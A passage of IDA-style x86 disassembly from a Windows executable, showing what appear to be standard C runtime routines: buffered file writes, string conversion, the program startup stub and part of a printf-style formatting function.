cmp dword ptr [edi+ecx*4+4], 0 jz short loc_424BB7 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_424BB7 js short loc_424BC2 mov edi, [ebx+8] push ebx call sub_423978 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4239BA add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_423A4E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_424BB7: ; CODE XREF: sub_424B30+40j ; sub_424B30+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_424B63 ; --------------------------------------------------------------------------- loc_424BC2: ; CODE XREF: sub_424B30+54j mov eax, 0 jmp short loc_424BE5 ; --------------------------------------------------------------------------- loc_424BC9: ; CODE XREF: sub_424B30+36j mov eax, 1 jmp short loc_424BE5 ; --------------------------------------------------------------------------- loc_424BD0: ; CODE XREF: sub_424B30+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4239BA add esp, 8 pop ebp mov eax, 1 loc_424BE5: ; CODE XREF: sub_424B30+97j ; sub_424B30+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424B30 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4239BA add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C08 proc near ; CODE XREF: sub_41FE93+2CFp ; sub_41FE93+364p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push [ebp+arg_C] call sub_42483C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_424C37 push [ebp+arg_C] mov esi, eax call sub_42488E add esp, 18h mov eax, esi pop esi pop ebp retn sub_424C08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C37 proc near ; CODE XREF: sub_424C08+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_424C5B xor eax, eax jmp loc_424D28 ; --------------------------------------------------------------------------- loc_424C5B: ; CODE XREF: sub_424C37+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_424C6E mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_424C75 ; --------------------------------------------------------------------------- loc_424C6E: ; CODE XREF: sub_424C37+2Dj mov [ebp+arg_C], 1000h loc_424C75: ; CODE XREF: sub_424C37+35j ; sub_424C37+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_424CA9 mov eax, [esi+4] test eax, eax jz short loc_424CA9 cmp ebx, eax mov edi, ebx jb short loc_424C8F mov edi, eax loc_424C8F: ; CODE XREF: sub_424C37+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4223F0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_424CEF ; --------------------------------------------------------------------------- loc_424CA9: ; CODE XREF: sub_424C37+47j ; sub_424C37+4Ej cmp ebx, [ebp+arg_C] jb short loc_424CF4 test ecx, ecx jz short loc_424CBD push esi call sub_42671D test eax, eax pop ecx jnz short loc_424D36 loc_424CBD: ; CODE XREF: sub_424C37+79j cmp [ebp+arg_C], 0 jz short loc_424CD0 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_424CD2 ; --------------------------------------------------------------------------- loc_424CD0: ; CODE XREF: sub_424C37+8Aj mov edi, ebx loc_424CD2: ; CODE XREF: sub_424C37+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42AE6D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424D2D add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_424D2D loc_424CEF: ; CODE XREF: sub_424C37+70j mov edi, [ebp+var_4] jmp short loc_424D1D ; --------------------------------------------------------------------------- loc_424CF4: ; CODE XREF: sub_424C37+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_425014 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_424D36 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_424D1D mov [ebp+arg_C], 1 loc_424D1D: ; CODE XREF: sub_424C37+BBj ; sub_424C37+DDj test ebx, ebx jnz loc_424C75 mov eax, [ebp+arg_8] loc_424D28: ; CODE XREF: sub_424C37+1Fj ; sub_424C37+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_424D2D: ; CODE XREF: sub_424C37+ADj ; sub_424C37+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_424D38 ; --------------------------------------------------------------------------- loc_424D36: ; CODE XREF: sub_424C37+84j ; sub_424C37+CFj mov eax, edi loc_424D38: ; CODE XREF: sub_424C37+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_424D28 sub_424C37 endp ; =============== S U B R O U T I N E ======================================= sub_424D41 proc near ; CODE XREF: sub_421589+36Ap ; sub_421589+3DAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push esi mov dx, [ecx] lea esi, [eax+2] mov [eax], dx loc_424D53: ; CODE XREF: sub_424D41+21j inc ecx inc ecx test dx, dx jz short loc_424D64 mov dx, [ecx] mov [esi], dx inc esi inc esi jmp short loc_424D53 ; --------------------------------------------------------------------------- loc_424D64: ; CODE XREF: sub_424D41+17j pop esi retn sub_424D41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D66 proc near ; CODE XREF: sub_421589+168p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, offset dword_63198C push edi push esi call dword_42F200 ; InterlockedIncrement mov edi, dword_42F1FC xor ebx, ebx cmp dword_631988, ebx jz short loc_424D96 push esi call edi ; dword_42F1FC push 13h call sub_428436 pop ecx push 1 pop ebx loc_424D96: ; CODE XREF: sub_424D66+20j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_424DC3 add esp, 0Ch mov [ebp+arg_8], eax test ebx, ebx jz short loc_424DB8 push 13h call sub_428497 pop ecx jmp short loc_424DBB ; --------------------------------------------------------------------------- loc_424DB8: ; CODE XREF: sub_424D66+46j push esi call edi ; dword_42F1FC loc_424DBB: ; CODE XREF: sub_424D66+50j mov eax, [ebp+arg_8] pop edi pop esi pop ebx pop ebp retn sub_424D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DC3 proc near ; CODE XREF: sub_424D66+39p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_424E91 mov edi, [ebp+arg_8] cmp edi, esi jz loc_424EBE cmp dword_6314C8, esi jnz short loc_424E14 cmp edi, esi jbe loc_424EBE loc_424DF3: ; CODE XREF: sub_424DC3+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si loc_424DFF: ; DATA XREF: .text:004321D0o cmp byte ptr [ecx], 0 jz loc_424EBE inc eax inc edx inc edx cmp eax, edi jb short loc_424DF3 jmp loc_424EBE ; --------------------------------------------------------------------------- loc_424E14: ; CODE XREF: sub_424DC3+26j mov ebx, [ebp+arg_4] mov esi, dword_42F098 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_6314D8 call esi ; dword_42F098 test eax, eax jnz loc_424EBD call dword_42F068 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_424E4F loc_424E3F: ; CODE XREF: sub_424DC3+CCj ; sub_424DC3+F8j call sub_426528 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_424EBE ; --------------------------------------------------------------------------- loc_424E4F: ; CODE XREF: sub_424DC3+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_424E57: ; CODE XREF: sub_424DC3+B4j mov cl, [eax] test cl, cl jz short loc_424E79 mov edx, off_449838 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_424E6E inc eax loc_424E6E: ; CODE XREF: sub_424DC3+A8j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_424E57 loc_424E79: ; CODE XREF: sub_424DC3+98j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_6314D8 call esi ; dword_42F098 test eax, eax jnz short loc_424EBE jmp short loc_424E3F ; --------------------------------------------------------------------------- loc_424E91: ; CODE XREF: sub_424DC3+Fj cmp dword_6314C8, esi jnz short loc_424EA4 push [ebp+arg_4] call sub_422120 pop ecx jmp short loc_424EBE ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424DC3+D4j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_6314D8 call dword_42F098 ; MultiByteToWideChar cmp eax, esi jz short loc_424E3F loc_424EBD: ; CODE XREF: sub_424DC3+6Bj dec eax loc_424EBE: ; CODE XREF: sub_424DC3+1Aj ; sub_424DC3+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_424DC3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F458 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_42F218 ; GetVersion xor edx, edx mov dl, ah mov dword_631478, edx mov ecx, eax and ecx, 0FFh mov dword_631474, ecx shl ecx, 8 add ecx, edx mov dword_631470, ecx shr eax, 10h mov dword ptr byte_63146C, eax push 1 call sub_42719C pop ecx test eax, eax jnz short loc_424F2E push 1Ch call sub_424FF0 pop ecx loc_424F2E: ; CODE XREF: .text:00424F24j call sub_425936 test eax, eax jnz short loc_424F3F push 10h call sub_424FF0 pop ecx loc_424F3F: ; CODE XREF: .text:00424F35j xor esi, esi mov [ebp-4], esi call sub_426B40 call dword_42F214 ; GetCommandLineA mov dword_631AE4, eax call sub_42B533 mov dword_6313EC, eax call sub_42B2E6 call sub_42B22D call sub_4284AC mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_42F210 ; GetStartupInfoA call sub_42B1D5 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_424F8E movzx eax, word ptr [ebp-2Ch] jmp short loc_424F91 ; --------------------------------------------------------------------------- loc_424F8E: ; CODE XREF: .text:00424F86j push 0Ah pop eax loc_424F91: ; CODE XREF: .text:00424F8Cj push eax push dword ptr [ebp-64h] push esi push esi call dword_42F074 ; GetModuleHandleA push eax call sub_4120E9 mov [ebp-60h], eax push eax call sub_4284D9 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_42B05D pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_4284EA ; =============== S U B R O U T I N E ======================================= sub_424FCB proc near ; CODE XREF: sub_42322C+16p ; sub_424780+4Dp ... arg_0 = dword ptr 4 cmp dword_6313F4, 1 jnz short loc_424FD9 call sub_42B665 loc_424FD9: ; CODE XREF: sub_424FCB+7j push [esp+arg_0] call sub_42B69E push 0FFh call off_4496B0 pop ecx pop ecx retn sub_424FCB endp ; =============== S U B R O U T I N E ======================================= sub_424FF0 proc near ; CODE XREF: .text:00424F28p ; .text:00424F39p arg_0 = dword ptr 4 cmp dword_6313F4, 1 jnz short loc_424FFE call sub_42B665 loc_424FFE: ; CODE XREF: sub_424FF0+7j push [esp+arg_0] call sub_42B69E pop ecx push 0FFh call dword_42F06C ; ExitProcess retn sub_424FF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425014 proc near ; CODE XREF: sub_422063+46p ; sub_42219B+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_425120 test al, 40h jnz loc_425120 test al, 1 jz short loc_42504C and dword ptr [esi+4], 0 test al, 10h jz loc_425120 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_42504C: ; CODE XREF: sub_425014+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_425086 cmp esi, offset dword_449450 jz short loc_425074 cmp esi, offset dword_449470 jnz short loc_42507F loc_425074: ; CODE XREF: sub_425014+56j push ebx call sub_42B835 test eax, eax pop ecx jnz short loc_425086 loc_42507F: ; CODE XREF: sub_425014+5Ej push esi call sub_42B7F1 pop ecx loc_425086: ; CODE XREF: sub_425014+4Ej ; sub_425014+69j test word ptr [esi+0Ch], 108h push edi jz short loc_4250F6 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_4250B6 push edi push eax push ebx call sub_42AE6D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_4250EC ; --------------------------------------------------------------------------- loc_4250B6: ; CODE XREF: sub_425014+90j cmp ebx, 0FFFFFFFFh jz short loc_4250D4 mov ecx, ebx mov eax, ebx sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_4250D9 ; --------------------------------------------------------------------------- loc_4250D4: ; CODE XREF: sub_425014+A5j mov eax, offset dword_449A50 loc_4250D9: ; CODE XREF: sub_425014+BEj test byte ptr [eax+4], 20h jz short loc_4250EC push 2 push 0 push ebx call sub_426CFC add esp, 0Ch loc_4250EC: ; CODE XREF: sub_425014+A0j ; sub_425014+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_42510A ; --------------------------------------------------------------------------- loc_4250F6: ; CODE XREF: sub_425014+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42AE6D add esp, 0Ch mov [ebp+arg_4], eax loc_42510A: ; CODE XREF: sub_425014+E0j cmp [ebp+arg_4], edi pop edi jz short loc_425116 or dword ptr [esi+0Ch], 20h jmp short loc_425125 ; --------------------------------------------------------------------------- loc_425116: ; CODE XREF: sub_425014+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_425128 ; --------------------------------------------------------------------------- loc_425120: ; CODE XREF: sub_425014+10j ; sub_425014+18j ... or al, 20h mov [esi+0Ch], eax loc_425125: ; CODE XREF: sub_425014+100j or eax, 0FFFFFFFFh loc_425128: ; CODE XREF: sub_425014+10Aj pop esi pop ebx pop ebp retn sub_425014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512C proc near ; CODE XREF: sub_422063+29p ; sub_42219B+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_425845 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_425160 ; --------------------------------------------------------------------------- loc_425158: ; CODE XREF: sub_42512C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_425160: ; CODE XREF: sub_42512C+2Aj cmp [ebp+var_14], edx jl loc_425845 cmp bl, 20h jl short loc_425181 cmp bl, 78h jg short loc_425181 movsx eax, bl mov al, byte_42F444[eax] and eax, 0Fh jmp short loc_425183 ; --------------------------------------------------------------------------- loc_425181: ; CODE XREF: sub_42512C+40j ; sub_42512C+45j xor eax, eax loc_425183: ; CODE XREF: sub_42512C+53j movsx eax, byte_42F464[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_425834 ; default jmp off_42584D[eax*4] ; switch jump loc_4251A1: ; DATA XREF: .text:off_42584Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 0042519A case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4251BC: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do movsx eax, bl ; jumptable 0042519A case 2 sub eax, 20h jz short loc_4251FF sub eax, 3 jz short loc_4251F6 sub eax, 8 jz short loc_4251ED dec eax dec eax jz short loc_4251E4 sub eax, 3 jnz loc_425834 ; default or [ebp+var_4], 8 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4251E4: ; CODE XREF: sub_42512C+A4j or [ebp+var_4], 4 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4251ED: ; CODE XREF: sub_42512C+A0j or [ebp+var_4], 1 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4251F6: ; CODE XREF: sub_42512C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4251FF: ; CODE XREF: sub_42512C+96j or [ebp+var_4], 2 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_425208: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do cmp bl, 2Ah ; jumptable 0042519A case 3 jnz short loc_425230 lea eax, [ebp+arg_8] push eax call sub_42590B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_425834 ; default or [ebp+var_4], 4 neg eax loc_425228: ; CODE XREF: sub_42512C+111j mov [ebp+var_20], eax jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_425230: ; CODE XREF: sub_42512C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_425228 ; --------------------------------------------------------------------------- loc_42523F: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do mov [ebp+var_10], edx ; jumptable 0042519A case 4 loc_425242: ; DATA XREF: .text:off_4337F4o jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_425247: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do cmp bl, 2Ah ; jumptable 0042519A case 5 jnz short loc_42526A lea eax, [ebp+arg_8] push eax call sub_42590B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_425834 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_42526A: ; CODE XREF: sub_42512C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_42527C: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do cmp bl, 49h ; jumptable 0042519A case 6 jz short loc_4252AF cmp bl, 68h jz short loc_4252A6 cmp bl, 6Ch jz short loc_42529D cmp bl, 77h jnz loc_425834 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_42512C+15Dj or [ebp+var_4], 10h jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4252A6: ; CODE XREF: sub_42512C+158j or [ebp+var_4], 20h jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4252AF: ; CODE XREF: sub_42512C+153j cmp byte ptr [edi], 36h jnz short loc_4252C8 cmp byte ptr [edi+1], 34h jnz short loc_4252C8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_4252C8: ; CODE XREF: sub_42512C+186j ; sub_42512C+18Cj mov [ebp+var_30], edx loc_4252CB: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do mov ecx, off_449838 ; jumptable 0042519A case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4252F7 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_42586D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_4252F7: ; CODE XREF: sub_42512C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_42586D add esp, 0Ch jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_42530F: ; CODE XREF: sub_42512C+6Ej ; DATA XREF: .text:off_42584Do movsx eax, bl ; jumptable 0042519A case 7 cmp eax, 67h jg loc_425537 cmp eax, 65h jge loc_4253BA cmp eax, 58h jg loc_425418 jz loc_4255AB sub eax, 43h jz loc_4253DB dec eax dec eax jz short loc_4253B0 dec eax dec eax jz short loc_4253B0 sub eax, 0Ch jnz loc_425736 test word ptr [ebp+var_4], 830h jnz short loc_425359 or byte ptr [ebp+var_4+1], 8 loc_425359: ; CODE XREF: sub_42512C+227j ; sub_42512C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_425366 mov esi, 7FFFFFFFh loc_425366: ; CODE XREF: sub_42512C+233j lea eax, [ebp+arg_8] push eax call sub_42590B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_42557F test ecx, ecx jnz short loc_42538E mov ecx, off_4496BC mov [ebp+var_8], ecx loc_42538E: ; CODE XREF: sub_42512C+257j mov [ebp+var_24], 1 mov eax, ecx loc_425397: ; CODE XREF: sub_42512C+282j mov edx, esi dec esi test edx, edx jz loc_425576 cmp word ptr [eax], 0 jz loc_425576 inc eax inc eax jmp short loc_425397 ; --------------------------------------------------------------------------- loc_4253B0: ; CODE XREF: sub_42512C+212j ; sub_42512C+216j mov [ebp+var_34], 1 add bl, 20h loc_4253BA: ; CODE XREF: sub_42512C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_42549E mov [ebp+var_10], 6 jmp loc_4254AC ; --------------------------------------------------------------------------- loc_4253DB: ; CODE XREF: sub_42512C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4253E7 or byte ptr [ebp+var_4+1], 8 loc_4253E7: ; CODE XREF: sub_42512C+2B5j ; sub_42512C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_42542E call sub_425928 push eax lea eax, [ebp+var_248] push eax call sub_42B85E add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_425441 mov [ebp+var_28], 1 jmp short loc_425441 ; --------------------------------------------------------------------------- loc_425418: ; CODE XREF: sub_42512C+1FBj sub eax, 5Ah jz short loc_42544F sub eax, 9 jz short loc_4253E7 dec eax jz loc_425611 jmp loc_425736 ; --------------------------------------------------------------------------- loc_42542E: ; CODE XREF: sub_42512C+2C5j call sub_42590B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_425441: ; CODE XREF: sub_42512C+2E1j ; sub_42512C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_425736 ; --------------------------------------------------------------------------- loc_42544F: ; CODE XREF: sub_42512C+2EFj lea eax, [ebp+arg_8] push eax call sub_42590B test eax, eax pop ecx jz short loc_425490 mov ecx, [eax+4] test ecx, ecx jz short loc_425490 test byte ptr [ebp+var_4+1], 8 jz short loc_425481 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_425736 ; --------------------------------------------------------------------------- loc_425481: ; CODE XREF: sub_42512C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_425733 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_42512C+32Fj ; sub_42512C+336j mov eax, off_4496B8 mov [ebp+var_8], eax push eax jmp loc_42552C ; --------------------------------------------------------------------------- loc_42549E: ; CODE XREF: sub_42512C+29Dj jnz short loc_4254AC cmp bl, 67h jnz short loc_4254AC mov [ebp+var_10], 1 loc_4254AC: ; CODE XREF: sub_42512C+2AAj ; sub_42512C:loc_42549Ej ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_44BB60 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_4254FE cmp [ebp+var_10], 0 jnz short loc_4254FE lea eax, [ebp+var_248] push eax call off_44BB6C pop ecx loc_4254FE: ; CODE XREF: sub_42512C+3BCj ; sub_42512C+3C2j cmp bl, 67h jnz short loc_425515 test esi, esi jnz short loc_425515 lea eax, [ebp+var_248] push eax call off_44BB64 pop ecx loc_425515: ; CODE XREF: sub_42512C+3D5j ; sub_42512C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42552B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42552B: ; CODE XREF: sub_42512C+3F0j push edi loc_42552C: ; CODE XREF: sub_42512C+36Dj call sub_422120 pop ecx jmp loc_425733 ; --------------------------------------------------------------------------- loc_425537: ; CODE XREF: sub_42512C+1E9j sub eax, 69h jz loc_425611 sub eax, 5 jz loc_4255E7 dec eax jz loc_4255D4 dec eax jz short loc_4255A4 sub eax, 3 jz loc_425359 dec eax dec eax jz loc_425615 sub eax, 3 jnz loc_425736 mov [ebp+var_2C], 27h jmp short loc_4255B2 ; --------------------------------------------------------------------------- loc_425576: ; CODE XREF: sub_42512C+270j ; sub_42512C+27Aj sub eax, ecx sar eax, 1 jmp loc_425733 ; --------------------------------------------------------------------------- loc_42557F: ; CODE XREF: sub_42512C+24Fj test ecx, ecx jnz short loc_42558C mov ecx, off_4496B8 mov [ebp+var_8], ecx loc_42558C: ; CODE XREF: sub_42512C+455j mov eax, ecx loc_42558E: ; CODE XREF: sub_42512C+46Fj mov edx, esi dec esi test edx, edx jz short loc_42559D cmp byte ptr [eax], 0 jz short loc_42559D inc eax jmp short loc_42558E ; --------------------------------------------------------------------------- loc_42559D: ; CODE XREF: sub_42512C+467j ; sub_42512C+46Cj sub eax, ecx jmp loc_425733 ; --------------------------------------------------------------------------- loc_4255A4: ; CODE XREF: sub_42512C+425j mov [ebp+var_10], 8 loc_4255AB: ; CODE XREF: sub_42512C+201j mov [ebp+var_2C], 7 loc_4255B2: ; CODE XREF: sub_42512C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42561C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42561C ; --------------------------------------------------------------------------- loc_4255D4: ; CODE XREF: sub_42512C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42561C or byte ptr [ebp+var_4+1], 2 jmp short loc_42561C ; --------------------------------------------------------------------------- loc_4255E7: ; CODE XREF: sub_42512C+417j lea eax, [ebp+arg_8] push eax call sub_42590B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_425600 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_425605 ; --------------------------------------------------------------------------- loc_425600: ; CODE XREF: sub_42512C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_425605: ; CODE XREF: sub_42512C+4D2j mov [ebp+var_28], 1 jmp loc_425834 ; default ; --------------------------------------------------------------------------- loc_425611: ; CODE XREF: sub_42512C+2F7j ; sub_42512C+40Ej or [ebp+var_4], 40h loc_425615: ; CODE XREF: sub_42512C+432j mov [ebp+var_C], 0Ah loc_42561C: ; CODE XREF: sub_42512C+491j ; sub_42512C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_42562E lea eax, [ebp+arg_8] push eax call sub_425918 pop ecx jmp short loc_42566F ; --------------------------------------------------------------------------- loc_42562E: ; CODE XREF: sub_42512C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_425655 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42564A call sub_42590B pop ecx movsx eax, ax loc_425647: ; CODE XREF: sub_42512C+527j ; sub_42512C+539j cdq jmp short loc_42566F ; --------------------------------------------------------------------------- loc_42564A: ; CODE 